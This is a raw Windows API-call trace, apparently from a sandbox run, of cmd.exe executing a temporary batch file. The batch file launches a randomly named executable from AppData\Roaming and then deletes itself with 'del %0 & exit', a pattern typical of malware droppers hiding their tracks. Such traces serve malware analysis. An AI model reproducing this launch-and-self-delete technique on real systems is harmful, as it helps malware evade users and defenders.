SetFilePointer (in: hFile=0x5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0162.664] GetProcessHeap () returned 0x230000 [0162.664] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4012) returned 0x24e020 [0162.664] GetProcessHeap () returned 0x230000 [0162.664] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e020 | out: hHeap=0x230000) returned 1 [0162.664] GetProcessHeap () returned 0x230000 [0162.664] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb0) returned 0x24e020 [0162.664] GetProcessHeap () returned 0x230000 [0162.664] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1c) returned 0x244610 [0162.665] GetProcessHeap () returned 0x230000 [0162.665] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xdc) returned 0x24e0e0 [0162.665] _tell (_FileHandle=3) returned 108 [0162.665] _close (_FileHandle=3) returned 0 [0162.665] _vsnwprintf (in: _Buffer=0x49f66340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf058 | out: _Buffer="\r\n") returned 2 [0162.665] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.665] GetFileType (hFile=0x7) returned 0x2 [0162.665] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.665] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cefe8 | out: lpMode=0x1cefe8) returned 1 [0162.666] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.666] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49f66340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf028, lpReserved=0x0 | out: lpBuffer=0x49f66340*, lpNumberOfCharsWritten=0x1cf028*=0x2) returned 1 [0162.666] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f4f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0162.666] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f5c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0162.666] _vsnwprintf (in: _Buffer=0x49f4eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1cf068 | out: _Buffer="C:\\Windows\\system32") returned 19 [0162.666] _vsnwprintf (in: _Buffer=0x49f4eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x1cf068 | out: _Buffer=">") returned 1 [0162.666] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.666] GetFileType (hFile=0x7) returned 0x2 [0162.666] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.666] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf018 | out: lpMode=0x1cf018) returned 1 [0162.667] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.667] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49f4eb60*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x1cf058, lpReserved=0x0 | out: lpBuffer=0x49f4eb60*, lpNumberOfCharsWritten=0x1cf058*=0x14) returned 1 [0162.668] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.668] GetFileType (hFile=0x7) returned 0x2 [0162.668] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.668] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf2f8 | out: lpMode=0x1cf2f8) returned 1 [0162.668] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.668] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x244620*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x1cf338, lpReserved=0x0 | out: lpBuffer=0x244620*, lpNumberOfCharsWritten=0x1cf338*=0x5) returned 1 [0162.668] _vsnwprintf (in: _Buffer=0x49f66340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1cf338 | out: _Buffer=" /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS ") returned 102 [0162.668] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.668] GetFileType (hFile=0x7) returned 0x2 [0162.669] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.669] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf2c8 | out: lpMode=0x1cf2c8) returned 1 [0162.671] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.671] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49f66340*, nNumberOfCharsToWrite=0x66, lpNumberOfCharsWritten=0x1cf308, lpReserved=0x0 | out: lpBuffer=0x49f66340*, lpNumberOfCharsWritten=0x1cf308*=0x66) returned 1 [0162.672] _vsnwprintf (in: _Buffer=0x49f66340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf338 | out: _Buffer="\r\n") returned 2 [0162.672] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.672] GetFileType (hFile=0x7) returned 0x2 [0162.673] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.673] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf2c8 | out: lpMode=0x1cf2c8) returned 1 [0162.673] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.673] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49f66340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf308, lpReserved=0x0 | out: lpBuffer=0x49f66340*, lpNumberOfCharsWritten=0x1cf308*=0x2) returned 1 [0162.673] _wcsicmp (_String1="start", _String2="DIR") returned 15 [0162.673] _wcsicmp (_String1="start", _String2="ERASE") returned 14 [0162.673] _wcsicmp (_String1="start", _String2="DEL") returned 15 [0162.673] _wcsicmp (_String1="start", _String2="TYPE") returned -1 [0162.673] _wcsicmp (_String1="start", _String2="COPY") returned 16 [0162.673] _wcsicmp (_String1="start", _String2="CD") returned 16 [0162.673] _wcsicmp (_String1="start", _String2="CHDIR") returned 16 [0162.673] _wcsicmp (_String1="start", _String2="RENAME") returned 1 [0162.673] _wcsicmp (_String1="start", _String2="REN") returned 1 [0162.673] _wcsicmp (_String1="start", _String2="ECHO") returned 14 [0162.673] _wcsicmp (_String1="start", _String2="SET") returned 15 [0162.673] _wcsicmp (_String1="start", _String2="PAUSE") returned 3 [0162.673] _wcsicmp (_String1="start", _String2="DATE") returned 15 [0162.673] _wcsicmp (_String1="start", _String2="TIME") returned -1 [0162.673] _wcsicmp (_String1="start", _String2="PROMPT") returned 3 [0162.673] _wcsicmp (_String1="start", _String2="MD") returned 6 [0162.673] _wcsicmp (_String1="start", _String2="MKDIR") returned 6 [0162.674] _wcsicmp (_String1="start", _String2="RD") returned 1 [0162.674] _wcsicmp (_String1="start", _String2="RMDIR") returned 1 [0162.674] _wcsicmp (_String1="start", _String2="PATH") returned 3 [0162.674] _wcsicmp (_String1="start", _String2="GOTO") returned 12 [0162.674] _wcsicmp (_String1="start", _String2="SHIFT") returned 12 [0162.674] _wcsicmp (_String1="start", _String2="CLS") returned 16 [0162.674] _wcsicmp (_String1="start", _String2="CALL") returned 16 [0162.674] _wcsicmp (_String1="start", _String2="VERIFY") returned -3 [0162.674] _wcsicmp (_String1="start", _String2="VER") returned -3 [0162.674] _wcsicmp (_String1="start", _String2="VOL") returned -3 [0162.674] _wcsicmp (_String1="start", _String2="EXIT") returned 14 [0162.674] _wcsicmp (_String1="start", _String2="SETLOCAL") returned 15 [0162.674] _wcsicmp (_String1="start", _String2="ENDLOCAL") returned 14 [0162.674] _wcsicmp (_String1="start", _String2="TITLE") returned -1 [0162.674] _wcsicmp (_String1="start", _String2="START") returned 0 [0162.674] GetConsoleTitleW (in: lpConsoleTitle=0x1cf060, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0162.674] GetProcessHeap () returned 0x230000 [0162.674] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a8) returned 0x24e1d0 [0162.674] GetProcessHeap () returned 0x230000 [0162.674] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24e1d0, Size=0xde) returned 0x24e1d0 [0162.674] GetProcessHeap () returned 0x230000 [0162.674] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24e1d0) returned 0xde [0162.674] GetProcessHeap () returned 0x230000 [0162.674] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xe8) returned 0x24e2c0 [0162.675] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0162.675] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.675] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0162.675] GetProcessHeap () returned 0x230000 [0162.675] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x420) returned 0x24e3b0 [0162.676] SetErrorMode (uMode=0x0) returned 0x0 [0162.676] SetErrorMode (uMode=0x1) returned 0x0 [0162.676] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\.", nBufferLength=0x208, lpBuffer=0x24e3c0, lpFilePart=0x1b2450 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI", lpFilePart=0x1b2450*="pLC1YKI") returned 0x29 [0162.676] SetErrorMode (uMode=0x0) returned 0x1 [0162.676] GetProcessHeap () returned 0x230000 [0162.676] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24e3b0, Size=0x7e) returned 0x24e3b0 [0162.676] GetProcessHeap () returned 0x230000 [0162.676] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24e3b0) returned 0x7e [0162.676] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\.") returned 1 [0162.676] GetProcessHeap () returned 0x230000 [0162.676] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6a) returned 0x24e440 [0162.676] GetProcessHeap () returned 0x230000 [0162.676] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xc0) returned 0x24e4c0 [0162.676] GetProcessHeap () returned 0x230000 [0162.676] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24e4c0, Size=0x6a) returned 0x24e4c0 [0162.676] GetProcessHeap () returned 0x230000 [0162.676] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24e4c0) returned 0x6a [0162.676] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f4f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.676] GetProcessHeap () returned 0x230000 [0162.676] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xe8) returned 0x24e570 [0162.676] GetProcessHeap () returned 0x230000 [0162.676] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24e570, Size=0x7e) returned 0x250540 [0162.676] GetProcessHeap () returned 0x230000 [0162.676] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x250540) returned 0x7e [0162.676] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.676] FindFirstFileExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE", fInfoLevelId=0x1, lpFindFileData=0x1b21c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1b21c0) returned 0x231d50 [0162.677] GetProcessHeap () returned 0x230000 [0162.677] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x2445e0, Size=0x8) returned 0x24bf40 [0162.677] FindClose (in: hFindFile=0x231d50 | out: hFindFile=0x231d50) returned 1 [0162.677] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0162.677] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0162.677] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=1) returned 1 [0162.677] GetStartupInfoW (in: lpStartupInfo=0x1b2890 | out: lpStartupInfo=0x1b2890*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0162.677] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0x1b2768 | out: lpAttributeList=0x0, lpSize=0x1b2768) returned 0 [0162.677] GetLastError () returned 0x7a [0162.677] GetProcessHeap () returned 0x230000 [0162.677] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x248d00 [0162.677] InitializeProcThreadAttributeList (in: lpAttributeList=0x248d00, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0x1b2768 | out: lpAttributeList=0x248d00, lpSize=0x1b2768) returned 1 [0162.677] UpdateProcThreadAttribute (in: lpAttributeList=0x248d00, dwFlags=0x0, Attribute=0x60001, lpValue=0x1b2760, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x248d00, lpPreviousValue=0x0) returned 1 [0162.677] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80600, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x1b27a0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x7, hStdError=0xb), lpProcessInformation=0x1b2788 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS", lpProcessInformation=0x1b2788*(hProcess=0x58, hThread=0x5c, dwProcessId=0x6fc, dwThreadId=0x704)) returned 1 [0162.727] DeleteProcThreadAttributeList (in: lpAttributeList=0x248d00 | out: lpAttributeList=0x248d00) [0162.727] GetProcessHeap () returned 0x230000 [0162.727] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x248d00 | out: hHeap=0x230000) returned 1 [0162.727] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0162.727] GetLastError () returned 0x715 [0162.727] ResumeThread (hThread=0x5c) returned 0x0 [0162.727] CloseHandle (hObject=0x5c) returned 1 [0162.727] CloseHandle (hObject=0x58) returned 1 [0162.728] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.728] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0162.728] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.728] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49f4e194 | out: lpMode=0x49f4e194) returned 1 [0162.729] _get_osfhandle (_FileHandle=0) returned 0x3 [0162.729] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49f4e198 | out: lpMode=0x49f4e198) returned 1 [0162.730] SetConsoleInputExeNameW () returned 0x1 [0162.730] GetConsoleOutputCP () returned 0x1b5 [0162.730] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f5bfe0 | out: lpCPInfo=0x49f5bfe0) returned 1 [0162.730] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0162.731] CreateFileW (lpFileName="C:\\Windows\\TEMP\\5fiae9.cmd" (normalized: "c:\\windows\\temp\\5fiae9.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf2b8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0162.731] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 3 [0162.731] _get_osfhandle (_FileHandle=3) returned 0x58 [0162.731] SetFilePointer (in: hFile=0x58, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0162.731] GetProcessHeap () returned 0x230000 [0162.731] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x250540 | out: hHeap=0x230000) returned 1 [0162.732] GetProcessHeap () returned 0x230000 [0162.732] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e4c0 | out: hHeap=0x230000) returned 1 [0162.732] GetProcessHeap () returned 0x230000 [0162.732] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e440 | out: hHeap=0x230000) returned 1 [0162.732] GetProcessHeap () returned 0x230000 [0162.732] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e3b0 | out: hHeap=0x230000) returned 1 [0162.732] GetProcessHeap () returned 0x230000 [0162.732] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e2c0 | out: hHeap=0x230000) returned 1 [0162.732] GetProcessHeap () returned 0x230000 [0162.732] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e1d0 | out: hHeap=0x230000) returned 1 [0162.732] GetProcessHeap () returned 0x230000 [0162.732] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e0e0 | out: hHeap=0x230000) returned 1 [0162.732] GetProcessHeap () returned 0x230000 [0162.732] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x244610 | out: hHeap=0x230000) returned 1 [0162.732] GetProcessHeap () returned 0x230000 [0162.732] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e020 | out: hHeap=0x230000) returned 1 [0162.732] _get_osfhandle (_FileHandle=3) returned 0x58 [0162.732] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0162.732] ReadFile (in: hFile=0x58, lpBuffer=0x49f5c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf0c0, lpOverlapped=0x0 | out: lpBuffer=0x49f5c320*, lpNumberOfBytesRead=0x1cf0c0*=0xd, lpOverlapped=0x0) returned 1 [0162.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f5c320, cbMultiByte=13, lpWideCharStr=0x49f5e320, cchWideChar=8191 | out: lpWideCharStr="del %0 & exitsers\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS\r\n") returned 13 [0162.732] GetProcessHeap () returned 0x230000 [0162.732] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4012) returned 0x250e10 [0162.732] GetProcessHeap () returned 0x230000 [0162.732] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x250e10 | out: hHeap=0x230000) returned 1 [0162.733] GetProcessHeap () returned 0x230000 [0162.733] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb0) returned 0x250540 [0162.733] GetProcessHeap () returned 0x230000 [0162.733] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x18) returned 0x24da30 [0162.733] GetProcessHeap () returned 0x230000 [0162.733] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4a) returned 0x231d50 [0162.733] GetProcessHeap () returned 0x230000 [0162.733] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb0) returned 0x250600 [0162.733] _get_osfhandle (_FileHandle=3) returned 0x58 [0162.733] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79 [0162.733] ReadFile (in: hFile=0x58, lpBuffer=0x49f5c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf020, lpOverlapped=0x0 | out: lpBuffer=0x49f5c320*, lpNumberOfBytesRead=0x1cf020*=0x0, lpOverlapped=0x0) returned 1 [0162.733] GetLastError () returned 0x0 [0162.733] _get_osfhandle (_FileHandle=3) returned 0x58 [0162.733] GetFileType (hFile=0x58) returned 0x1 [0162.734] _get_osfhandle (_FileHandle=3) returned 0x58 [0162.734] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x79 [0162.734] GetProcessHeap () returned 0x230000 [0162.734] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4012) returned 0x250e10 [0162.734] GetProcessHeap () returned 0x230000 [0162.734] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x250e10 | out: hHeap=0x230000) returned 1 [0162.734] _wcsicmp (_String1="exit", _String2=")") returned 60 [0162.734] _wcsicmp (_String1="FOR", _String2="exit") returned 1 [0162.734] _wcsicmp (_String1="FOR/?", _String2="exit") returned 1 [0162.734] _wcsicmp (_String1="IF", _String2="exit") returned 4 [0162.734] _wcsicmp (_String1="IF/?", _String2="exit") returned 4 [0162.734] _wcsicmp (_String1="REM", _String2="exit") returned 13 [0162.734] _wcsicmp (_String1="REM/?", _String2="exit") returned 13 [0162.734] GetProcessHeap () returned 0x230000 [0162.734] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb0) returned 0x2506c0 [0162.734] GetProcessHeap () returned 0x230000 [0162.734] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x244610 [0162.734] _tell (_FileHandle=3) returned 121 [0162.734] _close (_FileHandle=3) returned 0 [0162.734] _vsnwprintf (in: _Buffer=0x49f66340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf058 | out: _Buffer="\r\n") returned 2 [0162.734] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.734] GetFileType (hFile=0x7) returned 0x2 [0162.737] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.737] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cefe8 | out: lpMode=0x1cefe8) returned 1 [0162.738] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.738] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49f66340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf028, lpReserved=0x0 | out: lpBuffer=0x49f66340*, lpNumberOfCharsWritten=0x1cf028*=0x2) returned 1 [0162.738] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f5c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0162.738] _vsnwprintf (in: _Buffer=0x49f4eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1cf068 | out: _Buffer="C:\\Windows\\system32") returned 19 [0162.738] _vsnwprintf (in: _Buffer=0x49f4eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x1cf068 | out: _Buffer=">") returned 1 [0162.738] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.738] GetFileType (hFile=0x7) returned 0x2 [0162.739] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.739] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf018 | out: lpMode=0x1cf018) returned 1 [0162.739] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.739] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49f4eb60*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x1cf058, lpReserved=0x0 | out: lpBuffer=0x49f4eb60*, lpNumberOfCharsWritten=0x1cf058*=0x14) returned 1 [0162.739] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.739] GetFileType (hFile=0x7) returned 0x2 [0162.740] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.740] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf298 | out: lpMode=0x1cf298) returned 1 [0162.740] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.740] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x24da40*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x1cf2d8, lpReserved=0x0 | out: lpBuffer=0x24da40*, lpNumberOfCharsWritten=0x1cf2d8*=0x3) returned 1 [0162.740] _vsnwprintf (in: _Buffer=0x49f66340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1cf2d8 | out: _Buffer=" C:\\Windows\\TEMP\\5fiae9.cmd ") returned 29 [0162.740] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.740] GetFileType (hFile=0x7) returned 0x2 [0162.740] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.740] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf268 | out: lpMode=0x1cf268) returned 1 [0162.741] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.741] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49f66340*, nNumberOfCharsToWrite=0x1d, lpNumberOfCharsWritten=0x1cf2a8, lpReserved=0x0 | out: lpBuffer=0x49f66340*, lpNumberOfCharsWritten=0x1cf2a8*=0x1d) returned 1 [0162.741] _vsnwprintf (in: _Buffer=0x49f66340, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x1cf308 | out: _Buffer=" & ") returned 3 [0162.741] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.741] GetFileType (hFile=0x7) returned 0x2 [0162.741] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.741] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf298 | out: lpMode=0x1cf298) returned 1 [0162.741] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.741] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49f66340*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x1cf2d8, lpReserved=0x0 | out: lpBuffer=0x49f66340*, lpNumberOfCharsWritten=0x1cf2d8*=0x3) returned 1 [0162.742] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.742] GetFileType (hFile=0x7) returned 0x2 [0162.742] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.742] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf298 | out: lpMode=0x1cf298) returned 1 [0162.742] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.742] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x244620*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0x1cf2d8, lpReserved=0x0 | out: lpBuffer=0x244620*, lpNumberOfCharsWritten=0x1cf2d8*=0x4) returned 1 [0162.743] _vsnwprintf (in: _Buffer=0x49f66340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf338 | out: _Buffer="\r\n") returned 2 [0162.743] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.743] GetFileType (hFile=0x7) returned 0x2 [0162.743] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0162.743] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf2c8 | out: lpMode=0x1cf2c8) returned 1 [0162.743] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.743] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49f66340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf308, lpReserved=0x0 | out: lpBuffer=0x49f66340*, lpNumberOfCharsWritten=0x1cf308*=0x2) returned 1 [0162.743] GetConsoleTitleW (in: lpConsoleTitle=0x1cefa0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0162.743] GetProcessHeap () returned 0x230000 [0162.743] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x84) returned 0x24e020 [0162.744] GetProcessHeap () returned 0x230000 [0162.744] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24e020, Size=0x48) returned 0x24e020 [0162.744] GetProcessHeap () returned 0x230000 [0162.744] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24e020) returned 0x48 [0162.744] GetProcessHeap () returned 0x230000 [0162.744] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x250780 [0162.744] GetProcessHeap () returned 0x230000 [0162.744] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x84) returned 0x24e080 [0162.744] GetProcessHeap () returned 0x230000 [0162.744] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24e080, Size=0x48) returned 0x24e080 [0162.744] GetProcessHeap () returned 0x230000 [0162.744] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24e080) returned 0x48 [0162.744] GetProcessHeap () returned 0x230000 